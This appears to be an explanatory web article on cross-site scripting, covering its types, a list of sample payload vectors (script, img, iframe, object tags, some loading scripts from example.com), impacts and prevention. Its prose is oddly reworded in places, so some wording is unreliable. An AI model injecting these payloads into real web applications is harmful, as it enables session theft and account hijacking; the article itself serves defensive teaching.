Cross site scripting (XSS) attacks

cross site scripting-xss

Cross Site Scripting (XSS) is one of the most well known and vulnerable attacks which is known by every pentester. It is considered as perhaps the most dangerous attack for the web applications and can bring harmful consequences as well.

XSS is frequently contrasted and compared with client side attacks, as client side languages are generally being utilized during this attack. Be that as it may, XSS attack is viewed as riskier, in light of its capacity to harm even less vulnerable technologies.

What Is Cross-Site Scripting?

Cross-site Scripting attacks (XSS) can be utilized by attackers to sabotage application security from numerous ways. It is regularly used to steal session cookies, which permits the attacker to imitate the victim. In addition to that, XSS vulnerabilities have been utilized to make social networks worms, spread malware, deface sites, and phish for credentials. They have likewise been utilized related to social engineering strategies to escalate to all the more damaging attacks, for example, private information retrieval.

Types of Cross-site Scripting Attacks

  1. Stored XSS (Persistent XSS) :- The most harming kind of XSS is Stored XSS (Persistent XSS). An attacker utilizes Stored XSS to inject malicious content, most often JavaScript code, into the target application. On the off chance that there is no input validation, this malicious code is permanently stored (persisted) by the target application, for instance inside a database. For instance, an attacker may enter a malicious script into a user input field, such as, a blog comment field or in a forum post. At the point when a victim opens the affected site page in a browser, the XSS attack payload is served to the victim’s browser as a feature of the HTML code (simply like a genuine comment would). This implies victims will end up executing the malicious script once the page is seen in their browser.
  2. Reflected XSS (Non-persistent XSS) :- There are numerous ways by which an attacker can lure a victim into initiating an intelligent XSS request. For instance, the attacker could send the victim a deceptive email with a connection containing malicious JavaScript. On the off chance that the casualty taps on the link, the HTTP request is started from the victim’s browser and sent to the vulnerable web application. The malicious JavaScript is then reflected back to the victim’s browser, where it is executed with context to the victim user’s session.
  3. DOM-based XSS :- DOM-based XSS is an advanced XSS attack. It is conceivable if the web application’s client-side scripts write data provided by the user to the Document Object Model (DOM). The information is hence read from the DOM by the web application and outputted to the browser. In the event that the information is inaccurately dealt with, an attacker can inject a payload, which will be stored as a component of the DOM and executed when the data is read once again from the DOM. A DOM-based XSS attack is frequently a client-side attack and the malicious payload is never sent to the server. This makes it much more difficult to detect for Web Application Firewalls (WAFs) and security engineers who investigate server logs since they will never at any point see the attack. DOM objects that are often manipulated incorporate the URL (document.URL), the anchor portion of the URL (location.hash), and the Referrer (document.referrer).

Common Cross-site Scripting Attack Vectors

The following is a list of common XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. A more extensive list of XSS payload examples is maintained by OWASP organization.

  • <script> tag
<!-- External script -->
<script src=http://example.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
  • JavaScript events
<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>
  • <body> tag
<!-- background attribute -->
<body background="javascript:alert("XSS")">
  • <img> tag
<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!--  tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
  • <iframe> tag
<!-- <iframe> tag XSS -->
<iframe src="http://example.com/xss.html">
  • <input> tag
<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">
  • <link> tag
<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">
  • <table> tag
<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">
  • <div> tag
<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">
  • <object> tag
<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://example.com/xss.html">

Impact of Cross-Site Scripting

At the point when attackers succeed in exploiting XSS vulnerabilities, they can access account credentials. They can likewise spread web worms or access the user’s PC and view the user’s browser history or control the browser remotely. After gaining control to the victim’s system, attackers can likewise analyze and use other intranet applications.

By exploiting XSS vulnerabilities, an attacker can perform malicious activities, such as:

  • Hijack an account.
  • Spread web worms.
  • Access browser history and clipboard contents.
  • Control the browser remotely.
  • Scan and exploit intranet appliances and applications.

XSS Testing Tools

As Cross Site Scripting attack is one of the most popular vulnerable attacks, there are a lot of tools to test it automatically. We can find different scanners to check for possible XSS attack vulnerabilities – like, Nessus and Nikto. The two of which are considered as very reliable.

How to Prevent XSS

  • Treat all client contribution as untrusted. Any client input that is utilized as a major aspect of HTML output presents a danger of a XSS. Treat input from authenticated as well as internal users a similar way that you treat public input.
  • Utilize a proper escaping/encoding method depending upon where user input is to be used: HTML escape, JavaScript escape, CSS escape, URL escape, and so on. Utilize existing libraries for escaping, don’t compose your own except if completely essential.
  • On the off chance that the user input needs to contain HTML, you can’t escape/encode it since it would break valid tags. In such cases, utilize a trusted and checked library to parse and clean HTML. Pick the library depending on your development language, for instance, HtmlSanitizer for .NET or SanitizeHelper for Ruby on Rails.
  • To moderate the outcomes of a potential XSS vulnerability, set the HttpOnly flag for cookies. On the off chance that you do, such cookies won’t be accessible by means of client side JavaScript.
  • To mitigate the outcomes of a potential XSS vulnerability, additionally utilize a Content Security Policy (CSP). CSP is a HTTP response header that lets you declare the dynamic resources that are permitted to load depending upon the request source.

Related Post

Leave a Reply

Your email address will not be published. Required fields are marked *